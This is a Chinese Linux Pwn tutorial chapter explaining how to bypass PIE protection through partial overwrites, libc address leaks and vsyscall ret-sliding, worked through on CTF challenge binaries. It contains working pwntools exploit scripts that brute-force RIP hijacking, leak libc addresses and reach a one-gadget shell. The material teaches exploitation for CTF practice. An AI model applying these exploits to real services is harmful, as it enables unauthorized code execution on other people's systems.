CTF必备技能丨Linux Pwn入门教程——PIE与bypass思路

|▌冷眼眸甩不掉的悲伤 提交于 2019-12-17 06:47:44

Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程。

教程仅针对i386/amd64下的Linux Pwn常见的Pwn手法,如栈,堆,整数溢出,格式化字符串,条件竞争等进行介绍,所有环境都会封装在Docker镜像当中,并提供调试用的教学程序,来自历年赛事的原题和带有注释的python脚本。

课程回顾>>

Linux Pwn入门教程第一章:环境配置

Linux Pwn入门教程第二章:栈溢出基础

Linux Pwn入门教程第三章:ShellCode

Linux Pwn入门教程第四章:ROP技术(上)

Linux Pwn入门教程第四章:ROP技术(下)

Linux Pwn入门教程第五章:调整栈帧的技巧

Linux Pwn入门教程第六章:利用漏洞获取libc

Linux Pwn入门教程第七章:格式化字符串漏洞

今天i春秋与大家分享的是Linux Pwn入门教程第八章:PIE与bypass思路,阅读用时约20分钟。

 

01、PIE简介

在之前的文章中我们提到过ASLR这一防护技术。由于受到堆栈和libc地址可预测的困扰,ASLR被设计出来并得到广泛应用。因为ASLR技术的出现,攻击者在ROP或者向进程中写数据时不得不先进行leak,或者干脆放弃堆栈,转向bss或者其他地址固定的内存块。

而PIE(position-independent executable, 地址无关可执行文件)技术就是一个针对代码段.text, 数据段.*data,.bss等固定地址的一个防护技术。同ASLR一样,应用了PIE的程序会在每次加载时都变换加载基址,从而使位于程序本身的gadget也失效。

 没有PIE保护的程序,每次加载的基址都是固定的,64位上一般是0x400000。

 

使用PIE保护的程序,可以看到两次加载的基址是不一样的。

显然,PIE的应用给ROP技术造成了很大的影响。但是由于某些系统和缺陷,其他漏洞的存在和地址随机化本身的问题,我们仍然有一些可以bypass PIE的手段。

下面我们介绍三种比较常见的手法。

02、partial write bypass PIE

partial write(部分写入)就是一种利用了PIE技术缺陷的bypass技术。由于内存的页载入机制,PIE的随机化只能影响到单个内存页。通常来说,一个内存页大小为0x1000,这就意味着不管地址怎么变,某条指令的后12位,3个十六进制数的地址是始终不变的。因此通过覆盖EIP的后8或16位 (按字节写入,每字节8位)就可以快速爆破或者直接劫持EIP。

我们打开例子~/DefCamp CTF Finals 2016-SMS/SMS,这是一个64位程序,主要的功能函数dosms( )调用了存在漏洞的set_user和set_sms。

 set_user可以读取128字符的username,从set_sms中对strncpy的调用可以看出长度保存在a1+180,username首地址在a1+140,可以通过溢出修改strncpy长度造成溢出。

 

除此之外,程序还有一个后门函数frontdoor。

 这个程序使用了PIE作为保护,我们不能确定frontdoor的具体地址,因此没办法直接通过溢出来跳转到frontdoor( )。但是由于我们前面所述的原因,我们可以尝试爆破。

通过查看frontdoor的汇编代码我们知道其地址后三位是0x900。

 

但是由于我们的payload必须按字节写入,每个字节是两个十六进制数,所以我们必须输入两个字节。除去已知的0x900还需要爆破一个十六进制数。这个数只可能在0~0xf之间改变,因此爆破空间不大,可以接受。

在前面几篇文章的训练之后,我们很容易通过调试获取溢出所需的padding并且写出payload如下:

payload = 'a'*40 #padding
payload += '\xca' #修改长度为202,即payload的长度,这个参数会在其后的strncpy被使用
io.sendline(payload)
io.recv()
payload = 'a'*200 #padding
payload += '\x01\xa9' #frontdoor的地址后三位是0x900, +1跳过push rbp
io.sendline(payload)

我们看到注释里用的不是0x900而是0x901,这是因为在实际调试中发现跳转到frontdoor时会出错。为了验证payload的正确性,我们可以在调试时通过IDA修改内存地址修正爆破位的值,此处从略。

验证完payload的正确性之后,我们还必须面临一个问题,那就是如何自动化进行爆破。我们触发一个错误的结果:

 

 

我们知道爆破失败的话程序就会崩溃,此时io的连接会关闭,因此调用io.recv( )会触发一个EOFError。由于这个特性,我们可以使用python的try...except...来捕获这个错误并进行处理。

最终脚本如下:

#!/usr/bin/python
#coding:utf-8
from pwn import *
context.update(arch = 'amd64', os = 'linux')
i = 0
while True:
 i += 1
 print i
 io = remote("172.17.0.3", 10001) 
 io.recv()
 payload = 'a'*40 #padding
 payload += '\xca' #修改长度为202,即payload的长度,这个参数会在其后的strncpy被使用
 io.sendline(payload)
 io.recv()
 payload = 'a'*200 #padding
 payload += '\x01\xa9' #frontdoor的地址后三位是0x900, +1跳过push rbp
 io.sendline(payload)
 io.recv()
 try:
 io.recv(timeout = 1) #要么崩溃要么爆破成功,若崩溃io会关闭,io.recv()会触发EOFError
 except EOFError:
 io.close()
 continue
 else:
 sleep(0.1)
 io.sendline('/bin/sh\x00')
 sleep(0.1) 
 io.interactive() #没有EOFError的话就是爆破成功,可以开shell
 break

03、泄露地址bypass PIE

PIE影响的只是程序加载基址,并不会影响指令间的相对地址,因此我们如果能泄露出程序或libc的某些地址,我们就可以利用偏移来达到目的。

打开例子~/BCTF 2017-100levels/100levels,这是个64位的答题程序,要求输入两个数字,相加得到关卡总数,然后计算乘法。本题的栈溢出漏洞位于0xe43的question函数中。

read会读入0x400个字符到栈上,而对应的局部变量buf显然没那么大,因此会造成栈溢出。由于使用了PIE,而且题目中虽然有system但是没有后门,所以本题没办法使用partial write劫持RIP。但是我们在进行调试时发现了栈上有一些有趣的数据:

 

 

我们可以看到栈上有大量指向libc的地址。

那么这些地址我们要怎么leak出来呢,我们继续看questions这个函数,又看到了一个有趣的东西。

 

 

这边的printf输出的参数位于栈上,通过rbp定位。

利用这两个信息,我们很容易想到可以通过partial overwrite修改RBP的值指向这块内存,从而泄露出这些地址,利用这些地址和libc就可以计算到one gadget RCE的地址从而栈溢出调用。我们使用以下脚本把RBP的最后两个十六进制数改成0x5c,此时[rbp+var_34] = 0x5c-0x34=0x28,泄露位于这个位置的地址。

io = remote('172.17.0.3', 10001)
io.recvuntil("Choice:")
io.send('1')
io.recvuntil('?')
io.send('2')
io.recvuntil('?')
io.send('0')
io.recvuntil("Question: ")
question = io.recvuntil("=")[:-1]
answer = str(eval(question))
payload = answer.ljust(0x30, '\x00') + '\x5c'
io.send(payload)
io.recvuntil("Level ")
addr_l8 = int(io.recvuntil("Question: ")[:-10])

通过多次进行实验,我们发现这段脚本的成功率有限,有时候能泄露出libc中的地址 。

 

有时候是start的首地址

 

有时候是无意义的数据

甚至会直接出错

 

原因是[rbp+var_34]中的数据是0,idiv除法指令产生了除零错误。

 

 

此外,我们观察泄露出来的addr_l8会发现有时候是正数有时候是负数。这是因为我们只能泄露出地址的低32位,低8个十六进制数。而这个数的最高位可能是0或者1,转换成有符号整数就可能是正负两种情况。因此我们需要对其进行处理:

if addr_l8 < 0:
 addr_l8 = addr_l8 + 0x100000000

由于我们泄露出来的只是地址的低32位,抛去前面的4个0,我们还需要猜16位,即4个十六进制数。幸好根据实验,程序加载地址似乎总是在0x000055XXXXXXXXXX-0x000056XXXXXXXXXX间徘徊,因此我们的爆破空间缩小到了0x100*2=512次。我们随便选择一个在这个区间的地址拼上去:

addr = addr_l8 + 0x7f8b00000000

为了加快成功率,显然我们不可能只针对一种情况做处理,从上面的截图上我们可以看到那块空间中有好几个不同的libc地址。

 

根据PIE的原理和缺陷,我们可以把后三位作为指纹,识别泄露出来的地址是哪个:

if hex(addr)[-2:] == '0b': #__IO_file_overflow+EB
 libc_base = addr - 0x7c90b
elif hex(addr)[-2:] == 'd2': #puts+1B2
 libc_base = addr - 0x70ad2
elif hex(addr)[-3:] == '600':#_IO_2_1_stdout_
 libc_base = addr - 0x3c2600 
elif hex(addr)[-3:] == '400':#_IO_file_jumps
 libc_base = addr - 0x3be400 
elif hex(addr)[-2:] == '83': #_IO_2_1_stdout_+83 
 libc_base = addr - 0x3c2683 
elif hex(addr)[-2:] == '32': #_IO_do_write+C2
 libc_base = addr - 0x7c370 - 0xc2 
elif hex(addr)[-2:] == 'e7': #_IO_do_write+37
 libc_base = addr - 0x7c370 - 0x37 

最后我们针对泄露出来的无意义数据做一下处理,按照上一节的思路用try...except做一个自动化爆破,形成一个脚本。脚本具体内容见于附件,爆破成功如图:

 

 

从图中我们可以看到本次爆破总共尝试了2633次,相比于上一节,次数还是比较多的。

此题在网上可以搜到其他利用泄露出来的返回地址做ROP的做法,由于题目中已经有system,感兴趣的同学也可以试一下。此外,这个题目和下一节中的题目本质上是一样的,因此也可以作为下一节的练习题。

04、使用vdso/vsyscall bypass PIE

我们知道,在开启了ASLR的系统上运行PIE程序,就意味着所有的地址都是随机化的。然而在某些版本的系统中这个结论并不成立,原因是存在着一个神奇的vsyscall。(由于vsyscall在一部分发行版本中的内核已经被裁减掉了,新版的kali也属于其中之一。vsyscall在内核中实现,无法用docker模拟,因此任何与vsyscall相关的实验都改成在Ubuntu 16.04上进行,同时libc中的偏移需要进行修正。)

 

 

如上面两图,我先后运行了四次cat /proc/self/maps查看本进程的内存,可以发现其他地址都在变,只有vsyscall一直稳定在0xffffffffff600000-0xffffffffff601000(这里使用cat /proc/[pid]/maps的方式而不是使用IDA是因为这块内存对IDA不可见)那么这块vsyscall是什么,又是干什么用的呢?

简单地说,现代的Windows/*Unix操作系统都采用了分级保护的方式,内核代码位于R0,用户代码位于R3。许多对硬件和内核等的操作都会被包装成内核函数并提供一个接口给用户层代码调用,这个接口就是我们熟知的int 0x80/syscall+调用号模式。当我们每次调用这个接口时,为了保证数据的隔离,我们需要把当前的上下文(寄存器状态等)保存好,然后切换到内核态运行内核函数,然后将内核函数返回的结果放置到对应的寄存器和内存中,再恢复上下文,切换到用户模式。这一过程需要耗费一定的性能。

对于某些系统调用,如gettimeofday来说,由于他们经常被调用,如果每次被调用都要这么来回折腾一遍,开销就会变成一个累赘。因此系统把几个常用的无参内核调用从内核中映射到用户空间中,这就是vsyscall,我们使用gdb可以把vsyscall dump出来加载到IDA中观察。

 

 

可以看到这里面有三个系统调用,从上到下分别是gettimeofday, time和getcpu。由于是系统调用,都是通过syscall来实现,这就意味着我们似乎有一个可控的sysall了。

我们先来看一眼题目~/HITB GSEC CTF 2017-1000levels/1000levels。正如上一节所说,这个题目其实就是100levels的升级版,唯一的变动就是关卡总数增加到了1000.不管怎样,我们先来试一下调用vsyscall中的syscall。我们选择在开头下个断点,直接开启调试后布置一下寄存器,并修改RIP到0xffffffffff600007,即第一个syscall所在地址。

 

 

执行时发现提示段错误。显然,我们没办法直接利用vsyscall中的syscall指令。这是因为vsyscall执行时会进行检查,如果不是从函数开头执行的话就会出错。因此,我们唯一的选择就是利用0xffffffffff600000, 0xffffffffff600400,0xffffffffff600800这三个地址。那么这三个地址对于我们来说有什么用呢?

我们继续分析题目,同100levels一样,1000levels也有一个hint选项。

 

这个hint的功能是当全局变量show_hint非空时输出system的地址。

 

由于缺乏任意修改地址的手段,我们并不能去修改show_hint,但是分析汇编代码,我们发现不管show_hint是否为空,其实system的地址都会被放置在栈上。

 

 

由于这个题目给了libc,因此我们可以利用这个泄露的地址计算其他gadgets的偏移,或者直接使用one gadget RCE。但是还有一个问题:我们怎么泄露这个地址呢?

我们继续看实现主要游戏功能的函数go,其实现和漏洞点与100levels一致。但是在上一节我们没有提及的是其实询问关卡的时候是可以输入0或者负数的,而且从流程图上看,正数和非正数的处理逻辑有一些有趣的不同。

 

 

可以看出,当输入的关卡数为正数的时候,rbp+var_110处的内容会被关卡数取代,而输入负数时则不会。那么这个var_110和system地址所在的var_110是不是一个东西呢?根据栈帧开辟的原理和main函数代码的分析,由于两次循环之间并没有进出栈操作,main函数的rsp,也就是hint和go的rbp应该是不会改变的,而事实也确实如此。

 

 

 

继续往下执行,发现第二次输入的关卡数会被直接加到system上。

 

 

由于第二次的输入也没有限制正负数,因此我们可以通过输入偏移值把system修改成one gadget rce。接下来我们需要做的是利用栈溢出控制RIP指向我们修改好的one gadget rce。

由于rbp_var_110里的值会被当成循环次数,当次数过大时会锁定为999次,所以我们必须写一个自动应答脚本来处理题目。根据100levels的脚本我们很容易构造脚本如下:

io = remote('127.0.0.1', 10001)
libc_base = -0x456a0 #减去system函数离libc开头的偏移
one_gadget_base = 0x45526 #加上one gadget rce离libc开头的偏移
vsyscall_gettimeofday = 0xffffffffff600000
def answer():
 io.recvuntil('Question: ')
 answer = eval(io.recvuntil(' = ')[:-3])
 io.recvuntil('Answer:')
 io.sendline(str(answer))
io.recvuntil('Choice:')
io.sendline('2') #让system的地址进入栈中
io.recvuntil('Choice:')
io.sendline('1') #调用go()
io.recvuntil('How many levels?')
io.sendline('-1') #输入的值必须小于0,防止覆盖掉system的地址
io.recvuntil('Any more?')
io.sendline(str(libc_base+one_gadget_base)) #第二次输入关卡的时候输入偏移值,从而通过相加将system的地址变为one gadget rce的地址
for i in range(999): #循环答题
 log.info(i)
 answer()

计算发现0x38个字节后到rip,然而rip离one gadget rce还有三个地址长度。

 

我们要怎么让程序运行到one gadget rce呢?有些读者可能听说过有一种技术叫做NOP slide,即写shellcode的时候在前面用大量的NOP进行填充。由于NOP是一条不会改变上下文的空指令,因此执行完一堆NOP后执行shellcode对shellcode的功能并没有影响,且可以增加地址猜测的范围,从一定程度上对抗ASLR。这里我们同样可以用ret指令不停地“滑”到下一条。由于程序开了PIE且没办法泄露内存空间中的地址,我们找不到一个可靠的ret指令所在地址。这个时候vsyscall就派上用场了。

我们前面知道,vsyscall中有三个无参系统调用,且只能从入口进入。我们选的这个one gadget rce要求rax = 0,查阅相关资料可知gettimeofday执行成功时返回值就是0,因此我们可以选择调用三次vsyscall中的gettimeofday,利用执行完的ret“滑”过这片空间。

io.send('a'*0x38 + p64(vsyscall_gettimeofday)*3) 

 

 

正如我们所见,尽管有一些限制,由于vsyscall地址的固定性,这个本来是为了节省开销的设置造成了很大的隐患,因此vsyscall很快就被新的机制vdso所取代。与vsyscall不同的是,vdso的地址也是随机化的,且其中的指令可以任意执行,不需要从入口开始,这就意味着我们可以利用vdso中的syscall来干一些坏事了。

 

 由于64位下的vdso的地址随机化位数达到了22bit,爆破空间相对较大,爆破还是需要一点时间的。但是,32位下的vdso需要爆破的字节数就很少了。同样的,32位下的ASLR随机化强度也相对较低,读者可以使用附件中的题目~/NJCTF 2017-233/233进行实验。

 以上是今天的内容,大家看懂了吗?后面我们将持续更新Linux Pwn入门教程的相关章节,希望大家及时关注。

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!